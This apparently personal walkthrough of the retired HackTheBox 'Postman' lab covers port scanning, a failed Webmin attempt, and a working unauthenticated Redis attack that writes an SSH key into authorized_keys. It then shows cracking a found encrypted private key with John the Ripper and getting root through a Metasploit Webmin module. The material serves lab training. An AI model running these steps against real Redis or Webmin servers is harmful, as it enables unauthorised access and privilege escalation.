HTB Postman Walkthrough
Now that its been retired, lets take a deep dive into the “Postman” machine on HackTheBox so I can show you how I went about hacking it!
Now that its been retired, lets take a deep dive into the “Postman” machine on HackTheBox so I can show you how I hacked it!
Well, let’s go to start.
First of all, nmap scan, this is my command executed.
db_nmap --min-hostgroup 96 -p 1–65535 -n -T4 -A -v 10.10.10.160Complete the result and follow the interesting point!
[*] Nmap: Discovered open port 22/tcp on 10.10.10.160
[*] Nmap: Discovered open port 80/tcp on 10.10.10.160
[*] Nmap: Discovered open port 10000/tcp on 10.10.10.160
[*] Nmap: Discovered open port 6379/tcp on 10.10.10.160We can identify four (4) open ports,
[*] Nmap: 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: 6379/tcp open redis Redis key-value store 4.0.9
[*] Nmap: 10000/tcp open http MiniServ 1.910 (Webmin httpd)Understand that there are two different web sites, the first one on the standard port 80 the other one on the port 10000. Analyzing the two ports, I found:
port 80, url = http://10.10.10.160/
* html page
* coockies message
* “/#first-section” button hidden by the coockies message
* bootstrap + jquery 1.12.4
ubuntu & apache 2.4.29 (some explit for apache)
port 10000, url = https://10.10.10.160:10000/
* admin portal webmin
This is an interesting point, after a first look, I found an available exploit for that on exploit-db and metasploit. The most interesting is here with a description of how it works.
We can find also an instance of the redis database on port 6379.
Follow a result list for possible attack (based on a superficial analisys, but can identify other)
* admin portal (webmin) on port 10000
* redis on port 6379
* jquery + bootstrap
* ubuntu + apache
* SSH port 22
* http site on port 80
Well, the part that follows is not the right way, but I’d like to highlight you also my errors; I don’t know if you can take some profit from my experience, but, it’s my way to track my experience in order to learn something that can be useful for different scenarios in the future.
I start trying with webmin, attacking the password_change.cgi page.
Conditioned by the name of the machine, I try to call the cgi url using postman.
As described in the article, we have the possibility to execute some code, using the password_change.cgi. The call has to be executed in POST method, and we have to specify some other parameter, then, postman is the right tool to accomplish this task.
Url: https://10.10.10.160:10000/password_change.cgi
Here the link if you want to give a look at the file on github. Trying to launch the call, is simple to understand that exist a control on the referer page, then we have to specify “https://10.10.10.160:10000/session_login.cgi" on the header parameter of the postman calls.
When I executed the call the result was:
<h1>Error — Perl execution failed</h1>
<p>Password changing is not enabled! at /usr/share/webmin/password_change.cgi line 12.
</p>
I spent a lot of time trying to identify other exploits on webmin system, but found nothing good.
My second approach was on redis, I found something interesting on metasploit, to execute the exploit I try with armitage, where the exploit is present too. The exploit name is exploit/linux/redis/redis_unauth_exec
I don’t completely understand how the exploit works but it seems I need an instance of alternative redis on my machine, so I chose to use a docker image instead of installing redis on my pc.
root@kali:~/temp/docker# docker pull redis
Using default tag: latest
latest: Pulling from library/redis
8ec398bc0356: Pull complete
da01136793fa: Pull complete
cf1486a2c0b8: Pull complete
188200a8c82e: Pull complete
9391ca24f5d0: Pull complete
6ed21f46fa2d: Pull complete
Digest: sha256:21b037b4f6964887bb12fd8d72d06c7ab1f231a58781b6ca2ceee0febfeb0d36
Status: Downloaded newer image for redis:latest
docker.io/library/redis:latest
root@kali:~/temp/docker# docker run — name some-redis -d redis2890812283d5f38cea8f405c7d5a3b95211c4b2f109327cd0548c7b7463b89d5After launching the docker instance, I configure the password to connect to it.
root@kali:~/temp/docker# docker exec -it some-redis bash
root@2890812283d5:/data# redis-cli
127.0.0.1:6379> config set requirepass 123
OKNow tried to launch the exploit through armitage.
Configure the option with the right value…
…and execute the exploit. As reported by the result of the command a shell should be available.
If you try to connect to the relative session shell communicated in the exploit result, you should be into redis and you can launch all redis command to configure, create and manage the databases. I don’t know redis well, so I tried to search online for some execution in a bash or something else, but, probably I need additional know-how on that and someone could be what done in the next steps through this shell, I tried but probably something wrong in my process don’t give the success expected.
I’d like to share some additional thoughts on this, I tried different times to connect in this way and the result, most times, was different; sometimes I have not got the right access, sometimes I was able only to read and not to write, sometimes, the correct command executed in a previous session gave me a positive result, some times it didn't. This is a laboratory, the same machine that you are trying to hack is target also for many other accounts. In a real scenario, probably you could have a no other ones that work on the same machine, then, what you do, could affect the works done by the other people, so the work done by the other could affect yours. Don’t stop to a single attempt, try and try again the same attach, much more time and at different moments, you could be luckier the second time around.
Ok, anyway, my next step. Browsing on internet for some other redis attack I found this article: http://antirez.com/news/96
I tried to apply this exploit also through the shell generated in the past steps, but it doesn’t work, I don’t know why probably for the reason I mentioned above. Anyway, to be clear, I propose the exploit as I found. The idea is to create an ssh key that allows you to connect through ssh on that machine, and have a real shell to execute something and search possible backdoor on the target machine. To accomplish this task, we try to use the save database feature of redis, putting inside a single value that will be the public part of the ssh key.
try to connect to redis and check if you can do something.
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp2# telnet 10.10.10.160 6379
Trying 10.10.10.160...
Connected to 10.10.10.160.
Escape character is '^]'.
echo "try to do something"
$19
try to do something
quit
+OK
Connection closed by foreign host.Good, generate a public ssh
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp/art# ssh-keygen -t rsa -b 4096 -C "redis@kali"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:KjEBmAqKlDvjOsl7ClB52nhCg+KwJbvNhiL1nGHm+W0 redis@kali
The key's randomart image is:
+---[RSA 4096]----+
| oo |
|++ o |
|@ B o |
|B@ * . |
|=.B O S |
|.B O * . |
|O.+ B . |
|Bo . o .E |
| ++ ... |
+----[SHA256]-----+This is my public key, that I have to save on the target machine.
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp/art# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtwZonX8DpqGU4kGz4XWJhC3TQPyLQ6nfRpLkcrrH7qPtnEh9remqBKX/oLvRxtR8ZnOkzJ0QbYyGlWDkq16m7EOJcC5R6VNinjohU2NoHZJk8j2kcMnl2TJiwHWHmuVp0hzGkMdofSMIi64tCRJszgmF/npbwjzozRmELYdv/+24zeyQF4UsiPywHoud6YBWCs1YVAa9259anvwNGBg8NbbtVey7oGE7xSa+xpXXPP9VyHhN/0t7YXqEyeMLa1EfIKZDXuZdmBAFfMiEhQoFu1xxs45wbyLJhrq80q/oKSxcRBksFAdT6zsdOmXKAVF41iiN+KCgqZ7rYVPQiLIFy9phAbhDBiFHbHIzfLVCUAB1LHAfJ2nqPkdjKV7aE5tUIpuyZfHYyqgvbjnJ1NBTEo2GmsICajyRWF+pRMVnsYtLoQ/KoL4I4kUZIftJbmJgibL98dqy1cMG3u7jCj547IGz/pGcbzIl5KLutPlYYoVpWqIETqUudGHHfY1EAMIBFPkJ/X7fWmqS3I20ED2ZpyDSxQVBNxil15mOa6su0E8GphdMz4/GG92ZpblZdlT6GSG15i9/ZJjO74cMTalfM4FNeaZvcW3sxoOedHysSMtvi8RHtLqojmT5zhL2j5K6+/M+m3Ln1/KaHpSa8pb8DWCbStAF3+wbsFgjp95fTYQ== redis@kaliand here the attack:
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp2# telnet 10.10.10.160 6379
Trying 10.10.10.160...
Connected to 10.10.10.160.
Escape character is '^]'.
set mysecretkey "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtwZonX8DpqGU4kGz4XWJhC3TQPyLQ6nfRpLkcrrH7qPtnEh9remqBKX/oLvRxtR8ZnOkzJ0QbYyGlWDkq16m7EOJcC5R6VNinjohU2NoHZJk8j2kcMnl2TJiwHWHmuVp0hzGkMdofSMIi64tCRJszgmF/npbwjzozRmELYdv/+24zeyQF4UsiPywHoud6YBWCs1YVAa9259anvwNGBg8NbbtVey7oGE7xSa+xpXXPP9VyHhN/0t7YXqEyeMLa1EfIKZDXuZdmBAFfMiEhQoFu1xxs45wbyLJhrq80q/oKSxcRBksFAdT6zsdOmXKAVF41iiN+KCgqZ7rYVPQiLIFy9phAbhDBiFHbHIzfLVCUAB1LHAfJ2nqPkdjKV7aE5tUIpuyZfHYyqgvbjnJ1NBTEo2GmsICajyRWF+pRMVnsYtLoQ/KoL4I4kUZIftJbmJgibL98dqy1cMG3u7jCj547IGz/pGcbzIl5KLutPlYYoVpWqIETqUudGHHfY1EAMIBFPkJ/X7fWmqS3I20ED2ZpyDSxQVBNxil15mOa6su0E8GphdMz4/GG92ZpblZdlT6GSG15i9/ZJjO74cMTalfM4FNeaZvcW3sxoOedHysSMtvi8RHtLqojmT5zhL2j5K6+/M+m3Ln1/KaHpSa8pb8DWCbStAF3+wbsFgjp95fTYQ== redis@kali\n\n"
+OK
config set dir /var/lib/redis/.ssh
+OK
config set dbfilename authorized_keys
+OK
save
+OK
quit
+OKIn the article, the user set his .ssh folder as the destination of the output file from redis, because all the public key included in that folder are considered by linux valid for connection through ssh (if the user have that permission allow). The same thing happens for redis, but the dedicated folder is /var/lib/redis/.ssh. Ok, we have to try to connect through ssh and cross the finger (as I said before if it doesn’t work at the first, try and try again, possibly at different times).
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp2# ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jan 11 12:19:30 2020 from 10.10.15.32
redis@Postman:~$ And finally, we are inside.
Ok, I spend a lot of hours (I shame a little to say… days) to try with alternatives way before the right one; only to list some of this thinks:
1) try to modify the file password_change.cgi (of webmin) in order to bypass the mode active (of the change password) to execute commands.
2) try to activate the change password mode on the webmin
3) try to access to the user (wherein the home folder I found the unique user Matt) and root folder to cat the txt file
4) try to change the privileges of the redis user to root
5) try to execute as root some process without password
6) stop some services
and many other things that I can imagine when inside.
Anyway, the real solution (that I had initially discarded, just found) will be done by the next steps.
In the opt folder I found that: id_rsa.bak.
Well, I can’t believe that is a valid private key of the unique user Matt, but, don’t leave anything to fate.
redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
[...]
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----Take the content of the file and create a file on your machine with it.
Now, my curiosity is too big… I try to connect…
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp2# ssh -i Matt_id_rsa [email protected]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'Matt_id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "Matt_id_rsa": bad permissions
[email protected]'s password: Fantastic, I don’t know the password, but, I can try to hack it and search with John the ripper.
root@kali:~/Desktop/hackthebox/_Postman - 10.10.10.160/temp2# python3 /usr/share/john/ssh2john.py Matt_id_rsa > Matt_id_rsa.hash
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
data = base64.decodestring(data)
root@kali:/usr/share/wordlists# john --wordlist=/usr/share/wordlists/rockyou.txt /root/Desktop/hackthebox/_Postman\ -\ 10.10.10.160/temp2/Matt_id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (Matt_id_rsa)
1g 0:00:00:37 DONE (2020-01-11 15:36) 0.02662g/s 381834p/s 381834c/s 381834C/sa6_123..*7¡Vamos!
Session completedGood, done. Sometimes I think that these laboratories are too good with us, in the real scenarios, is difficult that users passwords are so simple and brute-force and other processes like this with john the ripper don’t give success so simple.
Anyway, let’s go to reconnect and… ouch…. user Matt have no ssh connection allowed. Ok, don’t worry, reconnect in ssh with redis account (you should be already connected) and impersonate the Matt user with the password found.
redis@Postman:~$ cd /home/Matt/
redis@Postman:/home/Matt$ ls -l
total 4
-rw-rw---- 1 Matt Matt 33 Aug 26 03:07 user.txt
redis@Postman:/home/Matt$ su Matt
Password:
Matt@Postman:~$ cat user.txt
5******************************c…we have the first user key.
Just as additional information, you can access to the webmin portal now, anyway, I come back to the armitage system and search for the exploit list of webmin. There are differents exploit solution to apply. My case is that I try to apply all of them in series and finally I found one that works.
Below the list of exploit I found:
Exploit that work is linux/http/webmin_packageup_rce
As just said, try more than one time, I managed to have an administrator shell at my fourth time (the session could not be created), trying both with armitage and with msfconsole from a shell, but, when the shell arrives…
$ cat /root/root.txt
a******************************e…and that’s all folks.
Well, only a last sentences about the final part of this Write-up. When I see that the Matt user doesn’t have access in ssh, my first idea was to try to connect to the admin portal (webmin) and attach from there the machine, using the webmin exploit with the Matt credential. Obviously it works and with the root access I can read also the user txt file than my final solution provides to cat the two file as the root user. Only after I think that I can use the same password to impersonate with the su command the Matt user to cat the txt file from the shell opened with the redis user, is only an additional step that complete the scenarios.
